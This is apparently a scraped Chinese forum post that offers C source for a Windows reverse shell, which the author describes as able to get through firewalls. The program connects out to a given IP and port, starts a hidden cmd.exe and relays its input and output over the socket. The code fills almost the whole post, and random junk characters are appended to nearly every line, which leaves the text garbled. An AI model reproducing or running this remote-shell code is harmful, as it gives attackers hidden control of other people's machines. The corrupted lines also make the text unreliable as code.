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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 MM7gMAA.mz  
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/* ============================== W%:zvqg v  
Rebound port in Windows NT '^AXUb  
By wind,2006/7 ?2Dz1#%D  
===============================*/ (q7mzZY  
#include }_TdXY #w\  
#include 34+}u,=  
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#pragma comment(lib,"wsock32.lib") >{8H==P  
wkw/AZ{27  
void OutputShell(); wxrT(x|  
SOCKET sClient; Reo0ZU>  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; YO61 pZY  
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void main(int argc,char **argv) Z2 4 m  
{ @x4Dt&:"  
WSADATA stWsaData; $r_gFv  
int nRet; g#*N@83C  
SOCKADDR_IN stSaiClient,stSaiServer; aKO@_R,:  
N<%,3W_-_  
if(argc != 3) :Tl?yG F  
{ N<WFe5  
printf("Useage:\n\rRebound DestIP DestPort\n"); tDVdl^#  
return; 6R j X  
} 5#PhaVc  
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WSAStartup(MAKEWORD(2,2),&stWsaData); &B C#u.^!  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /|f]L9)2<  
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stSaiClient.sin_family = AF_INET; 1g+<`1=KT  
stSaiClient.sin_port = htons(0); Y'9deX+  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); kzu=-@s  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) <}%*4mv  
{ NGu]|p  
printf("Bind Socket Failed!\n"); J^cDa|j  
return; QkbN2mFv%  
} 3IIlAzne;  
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stSaiServer.sin_family = AF_INET; oZCO$a  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); Nx__zC^r  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); q6dq@   
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) E;N8{Ye_  
{ Nnw iH  
printf("Connect Error!"); t$J-6dW  
return; DWG}}vN:&  
} 3h&s=e!  
OutputShell(); :Pv{ E  
} tx.sUu6  
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void OutputShell() |NqQKot1  
{ bZ)Jgz  
char szBuff[1024]; (DU{o\=  
SECURITY_ATTRIBUTES stSecurityAttributes; -9mh|&z`  
OSVERSIONINFO stOsversionInfo; q!n|Ju<  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; qluyJpt  
STARTUPINFO stStartupInfo; tF 4"28"h  
char *szShell; Xs`/q}R  
PROCESS_INFORMATION stProcessInformation; ZHT.+X:_  
unsigned long lBytesRead; H5n" !!  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); pVr,WTr6E  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); {,m!%FDL  
stSecurityAttributes.lpSecurityDescriptor = 0; L_(|5#IDw  
stSecurityAttributes.bInheritHandle = TRUE; .3[YOM7h  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); .._wTOSq  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); B*{CcQ<5  
KQk;:1hW  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); =8]'/b  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; +#O?sI#  
stStartupInfo.wShowWindow = SW_HIDE; d%<Uh(+:  
stStartupInfo.hStdInput = hReadPipe; W \"cp[b  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; E4P P& '  
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GetVersionEx(&stOsversionInfo); Gh j[nsoC~  
/2c?+04+  
switch(stOsversionInfo.dwPlatformId) vR-/c  
{ n`6vM4rM)  
case 1: v^vEaB  
szShell = "command.com"; 3Cpix,Dc  
break; .gB#g{5+J  
default: bAgKOfT  
szShell = "cmd.exe"; 9%x[z%06  
break; "|hmiMdGB  
} 2`; 0y M  
Y!KGJ^.mF  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 1\1o65en  
mesR)fTI  
send(sClient,szMsg,77,0); ,E_hG3}}  
while(1) >q`G?9d2  
{ %P?W^mI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); `H\^#Zu  
if(lBytesRead) A&z  
{ t{$t3>p-t  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0);  hHdC/mR  
send(sClient,szBuff,lBytesRead,0); TO QvZ?_  
} | #,b1|af  
else +!X^E9ra  
{ sGV%O=9?2  
lBytesRead=recv(sClient,szBuff,1024,0); wJ{M&n1H  
if(lBytesRead<=0) break; >4;A (s`  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); ydpsPU?wj5  
} Ji=E 1R  
} VBOq~>V6(v  
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return; U!('`TYe  
}
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